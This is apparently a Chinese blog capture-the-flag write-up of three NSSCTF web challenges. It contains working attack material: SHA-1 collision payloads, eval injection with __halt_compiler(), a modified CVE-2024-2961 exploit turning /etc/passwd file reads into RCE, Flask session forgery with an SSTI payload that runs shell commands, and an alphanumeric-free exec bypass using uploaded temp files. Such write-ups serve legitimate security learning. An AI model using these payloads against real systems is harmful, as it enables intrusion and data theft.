当前位置: 首页 > news >正文

NSS#Round30 Web

小桃的PHP挑战

<?php
include 'jeer.php';
highlight_file(__FILE__);
error_reporting(0);
$A = 0;
$B = 0;
$C = 0;

//第一关
if (isset($_GET['one'])){
    $str = $_GET['str'] ?? '0';
    $add = substr($str, 0, 1); 
    $add++;
    if (strlen($add) > 1 ) {
        $A = 1;
    } else {
        echo $one;
}
} else {
    echo $begin;
}

//第二关
if (isset($_GET['two'])){
    $comment = $_GET['comment'] ?? 'echo(114514)';
    if (!preg_match('/(|;| |\$|~|\#|`|\'|\"|\*|?|<|>|\r|\n|\^)/i', $comment) && strlen($comment) < 20) {
        try{
            eval('$B = 1;'.$comment.';echo $two;die();');
        }catch (Error $e){
            echo $boom;
        }
    }
}

//第三关
if (isset($_GET['three'])){
    if (isset($_POST['one'])&&isset($_POST['two'])){
        $a1=(string)$_POST['one'];
        $a2=(string)$_POST['two'];
        if ($a1 !== $a2 && sha1($a1) === sha1($a2)){
            $C = 1;
        } else {
            echo $three;
        }
    }
}

if ($A == 1 && $B == 1 && $C == 1){
    echo file_get_contents($_POST['file']);
}
?>

第一关
当输入的字符为z, ++自增之后会发现变成了aa, 长度就变成了2, 满足条件

第二关

已经给$B赋值为1了, 只需要注释掉后面的内容不让它执行就行

php里面除了#之外还有__HALT_COMPILER()可以中断掉后面代码的运行

comment=__halt_compiler() (这里给个phpinfo()也可以运行, 要是没有删除环境里面的变量说不定可以拿到, 不过这里是不行了,不知道有没有其他的方法在这里rce)

第三关

sha1的强比较绕过, 网上可以直接找现成的

one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

到这里就可以实现任意文件读取了, 但是不知道为什么用hackbar, 还是burpsuite 还是yakit都无法看到文件读取的内容(本地搭建环境是可以的), 还得是用python来进行请求

import requests

session = requests.Session()
url='http://node6.anna.nssctf.cn:28172/'

one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + two

res=session.post(url=f'{url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+'&file=/etc/passwd',headers={'Content-Type':'application/x-www-form-urlencoded'})

print(res.text)

在这里插入图片描述

但是现在不知道flag的文件名, 所以需要利用到 CVE-2024-2961 将文件读取提升为rce

利用现成的exp, 主要修改senddownload函数

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
        two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
        payload = "one=" + one + "&two=" + two
        headers={'Content-Type':'application/x-www-form-urlencoded'}

        return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"</code>(.*)", flags=re.S).group(1)
        return base64.decode(data)

在这里插入图片描述

一直是利用失败的状况

参考了一下官方wp, 对path做了一个quote()编码发现就可以利用成功了, 可能中间会存在一些误解析

path = quote(path)
    from urllib.parse import quote
    
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
        two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
        payload = "one=" + one + "&two=" + two
        headers={'Content-Type':'application/x-www-form-urlencoded'}
        path = quote(path)

        return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"</code>(.*)", flags=re.S).group(1)
        return base64.decode(data)

在这里插入图片描述

在这个路径找到flag /1/1/4/5/1/4/flag

在这里插入图片描述

hack_the_world!

from flask import Flask, request, render_template,render_template_string, url_for, session
import time
import os

app = Flask(__name__)
app.secret_key = 'NSS'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
def contains_forbidden_keywords(complaint):
    for keyword in FILTER_KEYWORDS:
        if keyword.lower() in complaint:
            return True
    return False
@app.route('/', methods=['GET', 'POST'])
def index():
    session['user'] = 'Gamer'
    return render_template('index.html')

@app.route('/hack', methods=['GET', 'POST'])
def hack():
    if session.get('user') != 'hacker':
        return render_template('die.html',user=session.get('user'))
    if (abc:=request.headers.get('User-Agent')) is None:
        return render_template('fobidden.html')
    cmd = request.form.get('cmd','noting')
    if (answer:=request.args.get('answer')) == 'hack_you':
        if contains_forbidden_keywords(cmd):
            return render_template('forbidden.html')
        else:
            render_template_string(f'{cmd}',cmd=cmd)
    css_url = url_for('static', filename='style.css')
    js_url = url_for('static', filename='script.js')
    return render_template_string(f'''
    <!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">  
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>fake world</title>
        <link rel="stylesheet" href="{css_url}">
        <!-- No ping No curl No nc , little hacker blind no way-->
    </head>
    <body>
        <canvas class="matrix"></canvas>
        <div class="bg-animation"></div>
        <div class="container">
            <h1>So, what are you trying to do</h1>
            <p>Just quit, little hacker. There’s nothing for you here.</p>
        </div>
        <script src="{js_url}"></script>
    </body>
    </html>
    ''', css_url=css_url,js_url=js_url)

首先需要先伪造用户为hacker, 源码里也给了密钥

先解密看看格式, 再依照格式进行伪造

在这里插入图片描述

eyJ1c2VyIjoiaGFja2VyIn0.Z_PTjQ.mlUJFdi9CQS-mPvH9nbj80oTJAg

源码里面没有给过滤的黑名单, 需要自己去fuzz一下

响应为2925的就表示是禁止的

['_' , '.' , '/', '%', 'read', 'mro']

在这里插入图片描述

本来想基于这个黑名单的过滤, 本地部署一下让fenjing跑一下来着, 但是一直没跑出来 …

https://www.nssctf.cn/note/set/12058
给了个脚本, 确实一下就跑出来了payload

import fenjing
import logging

logging.basicConfig(level=logging.INFO)


def waf(s: str):  # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = ["_", "mro", "read", "/", "]", ".", "%"]
    return all(word not in s for word in blacklist)


if __name__ == "__main__":
    cmd = "cat /flag > /app/static/flag.html"
    full_payload_gen = fenjing.FullPayloadGen(waf)
    shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd)  # 执行系统命令
    # config_payload = fenjing.config_payload(waf) #查看config文件
    # eval_payload, _ = full_payload_gen.generate(
    #    fenjing.const.EVAL, (fenjing.const.STRING, cmd)
    # )  # 执行python命令
    print(f"{shell_payload=}")
    # print(f"{eval_payload=}")

    if not _:
        print("这个payload不会产生回显")

给的payload:
%7B%7Blipsum%7Cattr%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27globals%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27builtins%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27import%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%22%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx20%5Cx3e%5Cx20%5Cx2f%5Cx61%5Cx70%5Cx70%5Cx2f%5Cx73%5Cx74%5Cx61%5Cx74%5Cx69%5Cx63%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx2e%5Cx68%5Cx74%5Cx6d%5Cx6c%22%29%7Cattr%28%27r%27%27ead%27%29%28%29%7D%7D

有点奇怪的就是不知道为啥我跑出来的payload服务器一运行就会报500错误 (url编码了)

你是谁的菜鸟,又是谁的佬大

F12可以看到代码

        <!--$NSS = $_GET['NSS']; 
        if (!preg_match('/([A-Z]|;| |\$|~|\#|\(|\^)/i', $NSS)) {
            exec($NSS);
        } else {
            echo $Narration;  -->

exec执行的命令, 且过滤了所有的字母以及一些字符

无字母webshell的打法,

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
  • shell下可以利用.来执行任意脚本 (类似于source)

  • Linux文件名支持用glob通配符代替

通过上传一个文件, PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

自己写一个上传的表单, 随便上传一个, 然后抓包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>upload</title>
</head>
<body>
<form action="http://node1.anna.nssctf.cn:28647/?NSS=" method="post" enctype="multipart/form-data">
    <label for="file">Choose file:</label>
    <input  type="file" id="file" name="file"><br><br>
    <input type="submit" value="Upload">
</form>
</body>
</html>

改一下文件的内容就行, 多发几次包

?NSS=.%09/???/????????[@-[]

在这里插入图片描述

在这里插入图片描述

相关文章:

  • c# 找到字符串中,固定字符串的位置
  • Ant Design X 和 Element-Plus-X
  • 人工智能图像识别spark安装
  • BOTA六维力矩传感器如何打通机器人AI力控操作的三层架构?感知-决策-执行全链路揭秘
  • 【Docker基础-网络】--查阅笔记4
  • JavaScript 性能优化:突破瓶颈的实战指南
  • 【Linux】进程管理
  • Android MediaStore访问的外部存储公共空间都不需要申请权限,这些目录具体指的是哪些
  • 【架构】软件成熟度模型与评估体系深度解析
  • 关于Windows Foxmail安全问题修复通告
  • ECharts大数据量的分批加载:提升图表渲染性能
  • linux Ubuntu 如何删除文件,错误删除后怎么办?
  • 88.高效写入文件—StringBuilder C#例子 WPF例子
  • 设计模式-观察者模式和发布订阅模式区别
  • 18. git pull
  • Java—HTML:CSS选择器
  • YOLO目标检测应用——基于 YOLOv8目标检测和 SAM 零样本分割实现指定目标分割
  • 网络故障排查实战指南:从准备到定位的全流程拆解
  • vue2使用vue-echarts
  • Mysql个人笔记
  • 网站怎么做电脑系统下载软件/网络营销与传统营销的整合
  • 800字以上网站设计方案/上海百度移动关键词排名优化
  • 9861云南网站建设/网络营销课程介绍
  • 网站 开发 外包/福州模板建站哪家好
  • 西安商城网站开发/网络服务商怎么咨询
  • 微信公众号做网站/软文标题写作技巧